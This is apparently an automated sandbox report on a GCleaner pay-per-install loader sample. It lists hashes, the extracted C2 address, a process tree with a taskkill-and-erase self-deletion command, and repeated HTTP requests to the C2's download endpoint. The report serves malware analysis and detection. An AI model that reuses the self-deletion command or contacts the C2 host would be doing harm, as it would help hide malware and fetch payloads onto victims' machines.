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Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/09/2024, 00:17 UTC

General

  • Target

    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe

  • Size

    295KB

  • MD5

    f82c9413e07313056c13db265b4ff06d

  • SHA1

    80c856b004083ebe777a7c4030d247d26cd7dc40

  • SHA256

    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e

  • SHA512

    3accbff6cc6f3fd95a14a687920aad9053fdcf01bebc911b975fa5b718b685bb88cc5a7efcb05ab7b7f7e74d358d0728ecc0478ddc5b5d8b1455619e6c8eb921

  • SSDEEP

    6144:U6VyfXc9rZniLw7BUDJ5/kDQwgxAu/w/Q:U9XurZniemXwgxAuY/

Malware Config

Extracted

Family

gcleaner

C2

80.66.75.114

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    "C:\Users\Admin\AppData\Local\Temp\c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im "c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1688

Network

  • flag-ru
    GET
    http://80.66.75.114/add?substr=one&s=two
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /add?substr=one&s=two HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: 1
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:15 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:16 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:18 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:20 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:23 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=96
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:25 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=95
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:27 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=94
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:29 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=93
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:31 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=92
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:33 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=91
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:35 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=90
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2024 00:17:37 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=89
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    114.75.66.80.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    114.75.66.80.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
    Response
    nexusrules.officeapps.live.com
    IN CNAME
    prod.nexusrules.live.com.akadns.net
    prod.nexusrules.live.com.akadns.net
    IN A
    52.111.229.19
  • flag-us
    DNS
    19.229.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    19.229.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    self.events.data.microsoft.com
    Remote address:
    8.8.8.8:53
    Request
    self.events.data.microsoft.com
    IN A
    Response
    self.events.data.microsoft.com
    IN CNAME
    self-events-data.trafficmanager.net
    self-events-data.trafficmanager.net
    IN CNAME
    onedscolprdwus20.westus.cloudapp.azure.com
    onedscolprdwus20.westus.cloudapp.azure.com
    IN A
    20.189.173.25
  • flag-us
    DNS
    25.173.189.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    25.173.189.20.in-addr.arpa
    IN PTR
    Response
  • 80.66.75.114:80
    http://80.66.75.114/files/download
    http
    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    6.8kB
    3.3kB
    29
    21

    HTTP Request

    GET http://80.66.75.114/add?substr=one&s=two

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200
  • 8.8.8.8:53
    114.75.66.80.in-addr.arpa
    dns
    433 B
    870 B
    6
    6

    DNS Request

    114.75.66.80.in-addr.arpa

    DNS Request

    8.8.8.8.in-addr.arpa

    DNS Request

    nexusrules.officeapps.live.com

    DNS Response

    52.111.229.19

    DNS Request

    19.229.111.52.in-addr.arpa

    DNS Request

    self.events.data.microsoft.com

    DNS Response

    20.189.173.25

    DNS Request

    25.173.189.20.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\I323E2ZQ\download[1].htm

    Filesize

    1B

    MD5

    cfcd208495d565ef66e7dff9f98764da

    SHA1

    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

    SHA256

    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

    SHA512

    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

  • memory/1996-1-0x0000000002D00000-0x0000000002E00000-memory.dmp

    Filesize

    1024KB

  • memory/1996-2-0x00000000049B0000-0x00000000049DD000-memory.dmp

    Filesize

    180KB

  • memory/1996-3-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

  • memory/1996-8-0x0000000002D00000-0x0000000002E00000-memory.dmp

    Filesize

    1024KB

  • memory/1996-11-0x00000000049B0000-0x00000000049DD000-memory.dmp

    Filesize

    180KB

  • memory/1996-10-0x0000000000400000-0x0000000002B6A000-memory.dmp

    Filesize

    39.4MB

  • memory/1996-13-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

  • memory/1996-22-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

  • memory/1996-21-0x0000000000400000-0x0000000002B6A000-memory.dmp

    Filesize

    39.4MB

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